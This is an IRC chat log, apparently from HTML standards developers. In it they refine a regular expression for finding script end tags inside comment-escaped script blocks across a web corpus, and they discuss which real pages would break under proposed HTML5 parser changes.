jgraham: I can't get any of my stuff from the office until Monday, so I don't have a plate or anything useful…

[14:09:02.0000] <jgraham>
gsnedders: We can provide you with food, probaby

[14:10:00.0000] <gsnedders>
The second time in a month I've scrounged food off you in two months :)

[14:10:01.0000] <gsnedders>
s/two months/one month/

[14:10:02.0000] <gsnedders>
Huh…

[14:10:03.0000] <gsnedders>
That still makes no sense.

[14:10:04.0000] <jgraham>
indeed. But since the first attemp made my head explode

[14:10:05.0000] <gsnedders>
s/in one month/on a Sunday evening/

[14:10:06.0000] <jgraham>
there's no point in correcting it now

[14:11:00.0000] <gsnedders>
Sorry. I guess I won't get food if you're headless now.

[14:11:01.0000] <jgraham>
But yeah, let me know when you want to eat or something.

[14:11:02.0000] <jgraham>
(I guess you arrive on Sunday then?)

[14:11:03.0000] <gsnedders>
jgraham: I guess 7ish or later would suit me

[14:11:04.0000] <Dashiva>
Doesn't not splitting the end tag break?

[14:11:05.0000] <gsnedders>
jgraham: Yeah, I arrive 16:50 from Skavsta

[14:12:00.0000] <jgraham>
gsnedders: Sounds fine

[14:12:01.0000] <gsnedders>
jgraham: Should I just come over at 7ish then? I can call if anything happens which means that won't work.

[14:13:00.0000] <zcorpan_>
Dashiva: it breaks with my proposal but doesn't break today

[14:14:00.0000] <gsnedders>
/me goes back to the book that shall not be named

[14:16:00.0000] <zcorpan_>
/me writes down another potential thing that would break with his proposal

[14:21:00.0000] <zcorpan_>
hmm

[14:22:00.0000] <zcorpan_>
<script><!--   document.write('<scr'+'ipt></script>'); //--></script> might not be too uncommon on the face of it

[14:30:00.0000] <zcorpan_>
(?is)<script>\s*<\!--(([^-]|-(?!->)|([^<]|<(?!script[\s\/>]))*<\/script[\s\/>]

[14:30:01.0000] <zcorpan_>
is that correct?

[14:30:02.0000] <jgraham>
gsnedders: Yes

[14:31:00.0000] <zcorpan_>
Philip`, Dashiva ^

[14:32:00.0000] <zcorpan_>
basically i want to find pages that have </script inside escaped text span but without <script before it

[14:49:00.0000] <cying>
Hixie: looks like the html5 spec is missing: http://www.whatwg.org/specs/web-apps/current-work/multipage/

[14:50:00.0000] <Philip`>
cying: Known problem

[14:50:01.0000] <cying>
Philip`: ah thanks

[14:50:02.0000] <Philip`>
zcorpan_: It's not correct

[14:51:00.0000] <zcorpan_>
snap

[14:51:01.0000] <Philip`>
zcorpan_: e.g. you've effectively got [^-]|[^<]|... and every character is going to match that

[14:52:00.0000] <gsnedders>
/me thinks we should follow the OED's example and produce a "Compact Edition" in 4pt type

[14:53:00.0000] <Philip`>
Oh, good, my computer's back

[14:53:01.0000] <Philip`>
/me regenerates the spec

[14:53:02.0000] <Philip`>
cying: Should work now

[14:54:00.0000] <zcorpan_>
Philip`: oops

[14:54:01.0000] <zcorpan_>
Philip`: how about...

[14:54:02.0000] <zcorpan_>
(?is)<script>\s*<\!--(([^-]|-(?!->))|([^<]|<(?!script[\s\/>])))*<\/script[\s\/>]

[14:57:00.0000] <Philip`>
That seems to be effectively identical to the previous version

[14:58:00.0000] <zcorpan_>
really?

[14:58:01.0000] <Philip`>
because (x|y|z) and ((x|y)|z) are equivalent

[14:58:02.0000] <Philip`>
which is the only change I see

[14:59:00.0000] <zcorpan_>
so how do i write any sequence of characters except --> or <script followed by whitespace, slash or greater-than?

[15:00:00.0000] <Philip`>
I think you may want something more like ([^<-]|-(?!->)|<(?!script[\s/>]))

[15:00:01.0000] <zcorpan_>
ah

[15:00:02.0000] <zcorpan_>
ok

[15:01:00.0000] <Philip`>
([^x]|[^y] is not equivalent to [^xy], and you want the latter)

[15:01:01.0000] <zcorpan_>
yeah, makes sense

[15:01:02.0000] <Philip`>
Also you probably want to allow attributes in the first <script> tag

[15:01:03.0000] <zcorpan_>
oops

[15:01:04.0000] <Philip`>
Also you don't need to escape !

[15:02:00.0000] <Philip`>
Also you don't need the (?s) (it just affects the definitions of ^ and $)

[15:02:01.0000] <Philip`>
Also you don't need to escape /

[15:02:02.0000] <Philip`>
(...unless you're using it in a language with / as the regexp delimiter)

[15:03:00.0000] <Philip`>
(...but my grep stuff doesn't use delimited regexps, so it doesn't need to be escaped)

[15:03:01.0000] <Philip`>
Otherwise it looks fine :-)

[15:04:00.0000] <Philip`>
though I could be mistaken

[15:05:00.0000] <zcorpan_>
(?i)<script[\s/]?[^>]*>\s*<!--([^<-]|-(?!->)|<(?!script[\s/>]))*</script[\s/>]

[15:06:00.0000] <Philip`>
The [\s/]? is redundant with the [^>]*

[15:07:00.0000] <zcorpan_>
yeah

[15:07:01.0000] <zcorpan_>
could you try the regexp on a set of pages? :)

[15:09:00.0000] <Philip`>
(?i)<script[^>]*>\s*<!--([^<-]|-(?!->)|<(?!script[\s/>]))*</script[\s/>]

[15:09:01.0000] <Philip`>
Do you just want a list of pages, or also the matching substrings?

[15:10:00.0000] <zcorpan_>
matching substrings would be nice

[15:11:00.0000] <zcorpan_>
but not essential

[15:13:00.0000] <Philip`>
zcorpan_: Something like http://philip.html5.org/data/script-close-in-escape-without-script-open.txt ?

[15:13:01.0000] <Philip`>
(That's not the whole output, just the first small fraction)

[15:14:00.0000] <Philip`>
The formatting is pretty rubbish, but I don't know if that's okay

[15:14:01.0000] <Philip`>
/me can change it fairly easily

[15:15:00.0000] <zcorpan_>
it's ok

[15:18:00.0000] <zcorpan_>
hmm actually, the \s* doesn't have to be whitespace

[15:21:00.0000] <zcorpan_>
(?i)<script[^>]*>([^<]|<(?!/script[\s/>])*<!--([^<-]|-(?!->)|<(?!script[\s/>]))*</script[\s/>]

[15:21:01.0000] <zcorpan_>
could you rerun it with that instead?

[15:21:02.0000] <Philip`>
Hmm, odd, it seems to have finished already

[15:21:03.0000] <zcorpan_>
ah

[15:21:04.0000] <Philip`>
which is surprisingly quick

[15:23:00.0000] <Philip`>
zcorpan_: http://philip.html5.org/data/script-close-in-escape-without-script-open.txt is the old one

[15:23:01.0000] <Philip`>
Running again with the new one...

[15:23:02.0000] <Philip`>
Oh, syntax error

[15:23:03.0000] <Philip`>
I think you missed a )

[15:24:00.0000] <zcorpan_>
oops, yeah

[15:24:01.0000] <zcorpan_>
(?i)<script[^>]*>([^<]|<(?!/script[\s/>]))*<!--([^<-]|-(?!->)|<(?!script[\s/>]))*</script[\s/>]

[15:26:00.0000] <Philip`>
zcorpan_: Remind me to check this in five minutes

[15:26:01.0000] <zcorpan_>
sure

[15:27:00.0000] <zcorpan_>
the current output shows lots of examples that breaks with proposal #2

[15:29:00.0000] <zcorpan_>
did the google analytics boilerplate lack the --> at some point?

[15:31:00.0000] <zcorpan_>
www.grandparents.com/gp/content/expert-advice/family-matters/article/thatevildaughterinlaw.html has unescaped end tag in d.write :(

[15:31:01.0000] <zcorpan_>
document.write('<SCR' + 'IPT LANGUAGE=JavaScript1.1 SRC="' + OAS_url + 'adstream_mjx.ads/' + OAS_sitepage + '/1' + OAS_rns + '@' +  OAS_listpos + '?' + OAS_query + '"></SCRIPT>

[15:38:00.0000] <zcorpan_>
Philip`: reminder

[15:39:00.0000] <Philip`>
http://philip.html5.org/data/script-close-in-escape-without-script-open-2.txt

[15:40:00.0000] <zcorpan_>
thanks!

[15:42:00.0000] <zcorpan_>
<script type="text/javascript">--><!--

[15:42:01.0000] <zcorpan_>
  amazon_ad_tag = "go2urlcomtheu-20";  ... amazon_ad_include = "marketing";//-->

[15:42:02.0000] <zcorpan_>
<!-- </script>

[15:42:03.0000] <zcorpan_>
wtf?

[15:43:00.0000] <zcorpan_>
ok, that breaks with my proposal, too

[15:43:01.0000] <zcorpan_>
maybe it needs to be combined with the variant of proposal #2

[15:44:00.0000] <zcorpan_>
so that only <script>\s*<!-- starts escaped text span

[15:44:01.0000] <Philip`>
/me supposes some amount of breakage may be inevitable

[15:44:02.0000] <zcorpan_>
yeah

[15:46:00.0000] <zcorpan_>
oh wait, it doesn't break with my proposal

[15:49:00.0000] <zcorpan_>
wow having <!--</script> is actually pretty common in this set

[15:49:01.0000] <zcorpan_>
(or actually //--><!--</script>)

[15:51:00.0000] <zcorpan_>
www.celebrity-link.com/c106/showcelebrity_categoryid-10687.html breaks

[15:56:00.0000] <zcorpan_>
www2.solomoto.es/enviar-noticia.asp?noti=44557&pag=noticia has the same snippet as grandparents.com

[15:58:00.0000] <zcorpan_>
me.yaplog.jp/viewBoard.blog?boardId=975 breaks too

[16:09:00.0000] <zcorpan_>
maybe the parser should look at "document.write" instead

[16:10:00.0000] <zcorpan_>
and ignore "</script" until the next ")"

[16:20:00.0000] <zcorpan_>
hmm, i guess that would break pages that put the string in a variable and then do document.write(str)

[16:21:00.0000] <Philip`>
And pages that do var w=document.write; w("str")

[16:22:00.0000] <Philip`>
and it'd be an incredibly gross hack

[16:33:00.0000] <zcorpan_>
ok time to sleep

[16:33:01.0000] <zcorpan_>
nn

[16:49:00.0000] <hober>
http://lists.w3.org/Archives/Public/public-html/2009Sep/att-1216/MicrosoftDistributedExtensibilitySubmission.htm

[16:52:00.0000] <othermaciej>
time for someone to dig up Opera's old data

[16:58:00.0000] <Philip`>
"The proposal as stated closely matches behavior that Internet Explorer has had for a number of releases"

[16:58:01.0000] <Philip`>
That seems untrue

[16:58:02.0000] <Philip`>
because e.g. IE has never had proper Namespace-like DOM attributes